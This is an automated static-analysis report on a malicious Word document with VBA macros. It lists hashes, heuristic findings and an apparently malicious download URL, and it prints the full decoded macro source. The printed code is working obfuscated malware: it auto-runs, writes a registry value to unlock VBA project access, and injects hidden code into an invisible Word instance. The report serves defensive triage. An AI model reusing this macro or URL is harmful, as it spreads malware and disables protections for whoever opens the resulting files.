Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b06df405a15ced8a…

MALICIOUS

Office (OOXML)

169.1 KB Created: 2021-04-28 05:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: 2d6077a17c53130c50d56c948e3a1a6e SHA-1: 1cfd1f9d0e22bd6042327a39c4cbc18ea216e4eb SHA-256: b06df405a15ced8abdc2c6f4359e5dc472be6ef30690943b0f82587caf91d09f
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    borderGlobalTmp.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString captionRequestMain
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set procListboxCollection = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://garrettgenius.com/bijol/N5gf7LhG8ahciotEz1Ams9QcToXu/95P28kK8737IRCoQxRx9T71I7fP7YAotEYImRLgS/ZDjonGtrnF3ftEhFCeR3jv1fu3tzE0rTJVDydU/5y6KNXjtiHCU6UgT88X/90323/olAP5WuYJFO1DZDdERyg7LGoUFAjk2mffQDU0ysxq8rO/lao In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2945 bytes
SHA-256: f04cfbbc34eecdaab528c2c08c98b9e210b612d755996648fec79fc06d7f39f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{9A7F04CB-836E-4B23-AC51-9BAD1DAC55CC}{18333B4B-9283-4ECB-BDB8-A0042B50EAA5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "requestPaste"
Sub autoopen()
genericResponseReference
Dim procCollection As String
procCollection = removeWReference
titleMemProc procCollection
End Sub

Attribute VB_Name = "ptrOption"
Function varClearData(vbDocumentClass As String) As Variant
Dim procListboxCollection As Object
Dim variableQuery As Object
Set procListboxCollection = CreateObject("msxml2.domdocument")
Set variableQuery = procListboxCollection.createElement("code")
variableQuery.DataType = "bin.base64"
variableQuery.Text = vbDocumentClass
varClearData = variableQuery.nodeTypedValue
End Function
Function loadCounter(procedureCaptionScreen, bufferDelete)
loadCounter = StrConv(procedureCaptionScreen, bufferDelete)
End Function

Attribute VB_Name = "textOptionRight"
Sub titleMemProc(captionRequestMain As String)
Set globalExVar = CreateObject("word.application")
Set borderGlobalTmp = globalExVar.Documents.Add
borderGlobalTmp.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString captionRequestMain
globalExVar.Visible = False
globalExVar.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "countScreen"
Function captionPtr() As String
captionPtr = Application.Version
End Function
Function removeLinkStorage()
removeLinkStorage = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function valueTmp()
valueTmp = "cript.sh"
End Function
Function screenLinkStorage()
screenLinkStorage = "VjdXJpdHlcQWN"
End Function
Sub genericResponseReference()
listboxCountSelect = loadCounter(varClearData("SEtFWV9DVVJSR" & removeLinkStorage & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
namespaceWindow = captionPtr
ptrButton = loadCounter(varClearData("XFdvcmRcU2" & screenLinkStorage & "jZXNzVkJPTQ=="), vbUnicode)
classTrust = listboxCountSelect & namespaceWindow & ptrButton
With CreateObject("ws" & valueTmp & "ell")
.RegWrite classTrust, 1, "REG_DWORD"
End With
End Sub
Public Function namespaceDelete(ByVal nextCollection As String) As String
For loadWindow = 1 To Len(nextCollection) Step 2
collectionTable = Chr$(Val("&H" & Mid$(nextCollection, loadWindow, 2)))
procedureTrust = procedureTrust & collectionTable
Next loadWindow
namespaceDelete = procedureTrust
End Function
Function removeWReference()
removeWReference = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 41988a9c165bfcbf4da645baea737f7355c4d75df8c65b63ea21395d0aded470
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).